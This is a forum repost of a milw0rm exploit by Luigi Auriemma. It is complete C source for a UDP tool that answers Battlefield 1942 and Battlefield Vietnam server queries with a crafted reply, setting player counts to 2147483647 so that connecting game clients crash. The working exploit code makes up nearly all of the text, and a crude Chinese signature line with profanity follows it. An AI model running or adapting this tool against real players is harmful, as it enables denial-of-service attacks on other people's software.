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Battlefield 1942 and Vietnam broadcast client crash

Battlefield 1942 and Vietnam broadcast client crash

文章作者:Luigi Auriemma
复制内容到剪贴板
代码:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
   #include <winsock.h>
/*
  Header file used for manage errors in Windows
  It support socket and errno too
  (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
   char   *error;

   switch(WSAGetLastError()) {
      case 10004: error = "Interrupted system call"; break;
      case 10009: error = "Bad file number"; break;
      case 10013: error = "Permission denied"; break;
      case 10014: error = "Bad address"; break;
      case 10022: error = "Invalid argument (not bind)"; break;
      case 10024: error = "Too many open files"; break;
      case 10035: error = "Operation would block"; break;
      case 10036: error = "Operation now in progress"; break;
      case 10037: error = "Operation already in progress"; break;
      case 10038: error = "Socket operation on non-socket"; break;
      case 10039: error = "Destination address required"; break;
      case 10040: error = "Message too long"; break;
      case 10041: error = "Protocol wrong type for socket"; break;
      case 10042: error = "Bad protocol option"; break;
      case 10043: error = "Protocol not supported"; break;
      case 10044: error = "Socket type not supported"; break;
      case 10045: error = "Operation not supported on socket"; break;
      case 10046: error = "Protocol family not supported"; break;
      case 10047: error = "Address family not supported by protocol family"; break;
      case 10048: error = "Address already in use"; break;
      case 10049: error = "Can&#39;t assign requested address"; break;
      case 10050: error = "Network is down"; break;
      case 10051: error = "Network is unreachable"; break;
      case 10052: error = "Net dropped connection or reset"; break;
      case 10053: error = "Software caused connection abort"; break;
      case 10054: error = "Connection reset by peer"; break;
      case 10055: error = "No buffer space available"; break;
      case 10056: error = "Socket is already connected"; break;
      case 10057: error = "Socket is not connected"; break;
      case 10058: error = "Can&#39;t send after socket shutdown"; break;
      case 10059: error = "Too many references, can&#39;t splice"; break;
      case 10060: error = "Connection timed out"; break;
      case 10061: error = "Connection refused"; break;
      case 10062: error = "Too many levels of symbolic links"; break;
      case 10063: error = "File name too long"; break;
      case 10064: error = "Host is down"; break;
      case 10065: error = "No Route to Host"; break;
      case 10066: error = "Directory not empty"; break;
      case 10067: error = "Too many processes"; break;
      case 10068: error = "Too many users"; break;
      case 10069: error = "Disc Quota Exceeded"; break;
      case 10070: error = "Stale NFS file handle"; break;
      case 10091: error = "Network SubSystem is unavailable"; break;
      case 10092: error = "WINSOCK DLL Version out of range"; break;
      case 10093: error = "Successful WSASTARTUP not yet performed"; break;
      case 10071: error = "Too many levels of remote in path"; break;
      case 11001: error = "Host not found"; break;
      case 11002: error = "Non-Authoritative Host not found"; break;
      case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
      case 11004: error = "Valid name, no data record of requested type"; break;
      default: error = strerror(errno); break;
   }
   fprintf(stderr, "\nError: %s\n", error);
   exit(1);
}




   #define close  closesocket
#else
   #include <unistd.h>
   #include <sys/socket.h>
   #include <sys/types.h>
   #include <arpa/inet.h>
   #include <netinet/in.h>
   #include <netdb.h>
#endif



#define VER      "0.1"
#define BUFFSZ    2048
#define BOOMPLAYERS 2147483647  /* BUG */
#define BOOM      "\\gamename\\%s" \
              "\\gamever\\1.6" \
              "\\location\\0" \
              "\\hostname\\crash" \
              "\\hostport\\%d" \
              "\\mapname\\aberdeen" \
              "\\numplayers\\%u" \
              "\\maxplayers\\%u"  /* not needed to be the same value */ \
              "\\final\\" \
              "\\queryid\\1.1"



void std_err(void);



int main(int argc, char *argv[]) {
   struct  sockaddr_in peer;
   int    sd,
        len,
        pcklen,
        on = 1,
        psz;
   u_short port;
   u_char  buff[BUFFSZ + 1],
        pck[BUFFSZ + 1];


   setbuf(stdout, NULL);

   fputs("\n"
      "Battlefield broadcast client crash "VER"\n"
      "  1942 <= 1.6.19 and Vietnam <= 1.2\n"
      "by Luigi Auriemma\n"
      "e-mail: [email]aluigi@altervista.org[/email]\n"
      "web:   [url]http://aluigi.altervista.org[/url]\n"
      "\n", stdout);

   if(argc < 3) {
      printf("\n"
        "Usage: %s <game> <port>\n"
        "\n"
        "Game:\n"
        "  bfvietnam    = Battlefield Vietnam\n"
        "  bfield1942    = Battlefield 1942\n"
        "  bfield1942sw  = Battlefield 1942: Secret Weapons of WW2\n"
        "  bfield1942rtr  = Battlefield 1942: Road to Rome\n"
        "  bfield1942swd  = Battlefield 1942: Secret Weapons of WW2 Demo\n"
        "  bfield1942d   = Battlefield 1942 Demo\n"
        "\n"
        "Port:\n"
        "  23000 = default Internet port\n"
        "  22000 = default LAN port\n"
        "\n", argv[0]);
      exit(1);
   }

#ifdef WIN32
   WSADATA   wsadata;
   WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

   port = atoi(argv[2]);

   peer.sin_addr.s_addr = INADDR_ANY;
   peer.sin_port      = htons(port);
   peer.sin_family    = AF_INET;
   psz            = sizeof(peer);

   sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
   if(sd < 0) std_err();

   if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
    < 0) std_err();
   if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
    < 0) std_err();

   pcklen = snprintf(
      pck,
      BUFFSZ,
      BOOM,
      argv[1],
      port,
      BOOMPLAYERS,
      BOOMPLAYERS);
   if((pcklen < 0) || (pcklen > BUFFSZ)) exit(1);

   fputs("Clients:\n", stdout);
   for(;;) {
      len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
      if(len < 0) continue;
      buff[len] = 0x00;

      printf("%16s:%5hu  %s\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port),
        buff);

      if(sendto(sd, pck, pcklen, 0, (struct sockaddr *)&peer, sizeof(peer))
       < 0) std_err();
   }

   close(sd);
   return(0);
}



#ifndef WIN32
   void std_err(void) {
      perror("\nError");
      exit(1);
   }
#endif
//milw0rm.com
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

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